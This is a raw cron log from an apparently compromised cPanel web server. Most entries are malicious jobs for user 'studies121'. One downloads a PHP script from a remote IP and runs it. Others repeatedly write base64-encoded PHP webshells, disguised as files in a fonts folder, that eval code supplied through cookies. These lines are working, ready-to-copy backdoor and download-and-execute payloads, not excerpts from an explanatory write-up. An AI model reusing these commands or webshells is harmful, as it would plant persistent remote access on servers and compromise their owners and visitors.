Sep 20 19:10:02 ip-184-168-122-23 CROND[11502]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:10:02 ip-184-168-122-23 CROND[11507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:11:01 ip-184-168-122-23 CROND[11761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:11:01 ip-184-168-122-23 CROND[11764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:11:01 ip-184-168-122-23 CROND[11763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:11:01 ip-184-168-122-23 CROND[11762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:12:01 ip-184-168-122-23 CROND[12103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:12:01 ip-184-168-122-23 CROND[12105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:12:01 ip-184-168-122-23 CROND[12104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:12:01 ip-184-168-122-23 CROND[12108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:12:01 ip-184-168-122-23 CROND[12110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:13:01 ip-184-168-122-23 CROND[12338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:13:01 ip-184-168-122-23 CROND[12339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:13:01 ip-184-168-122-23 CROND[12343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:13:01 ip-184-168-122-23 CROND[12342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:14:01 ip-184-168-122-23 CROND[12561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:14:01 ip-184-168-122-23 CROND[12563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:14:01 ip-184-168-122-23 CROND[12565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:14:01 ip-184-168-122-23 CROND[12564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:14:01 ip-184-168-122-23 CROND[12566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:15:01 ip-184-168-122-23 CROND[12814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:15:01 ip-184-168-122-23 CROND[12816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:15:01 ip-184-168-122-23 CROND[12815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:15:01 ip-184-168-122-23 CROND[12821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:15:01 ip-184-168-122-23 CROND[12822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:15:01 ip-184-168-122-23 CROND[12819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:16:01 ip-184-168-122-23 CROND[13092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:16:01 ip-184-168-122-23 CROND[13093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:16:01 ip-184-168-122-23 CROND[13091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:16:01 ip-184-168-122-23 CROND[13094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:16:01 ip-184-168-122-23 CROND[13099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:16:01 ip-184-168-122-23 CROND[13098]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 19:17:01 ip-184-168-122-23 CROND[13370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:17:01 ip-184-168-122-23 CROND[13372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:17:01 ip-184-168-122-23 CROND[13373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:17:01 ip-184-168-122-23 CROND[13375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:18:01 ip-184-168-122-23 CROND[13698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:18:01 ip-184-168-122-23 CROND[13701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:18:01 ip-184-168-122-23 CROND[13700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:18:01 ip-184-168-122-23 CROND[13702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:18:01 ip-184-168-122-23 CROND[13703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:19:01 ip-184-168-122-23 CROND[13940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:19:01 ip-184-168-122-23 CROND[13944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:19:01 ip-184-168-122-23 CROND[13941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:19:01 ip-184-168-122-23 CROND[13943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:20:01 ip-184-168-122-23 CROND[14183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:20:01 ip-184-168-122-23 CROND[14187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:20:01 ip-184-168-122-23 CROND[14188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:20:01 ip-184-168-122-23 CROND[14193]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 19:20:01 ip-184-168-122-23 CROND[14192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:20:01 ip-184-168-122-23 CROND[14195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:20:01 ip-184-168-122-23 CROND[14194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:20:01 ip-184-168-122-23 CROND[14191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 19:20:01 ip-184-168-122-23 CROND[14190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:21:01 ip-184-168-122-23 CROND[14430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:21:01 ip-184-168-122-23 CROND[14431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:21:01 ip-184-168-122-23 CROND[14433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:21:01 ip-184-168-122-23 CROND[14434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:22:01 ip-184-168-122-23 CROND[14686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:22:01 ip-184-168-122-23 CROND[14691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:22:01 ip-184-168-122-23 CROND[14693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
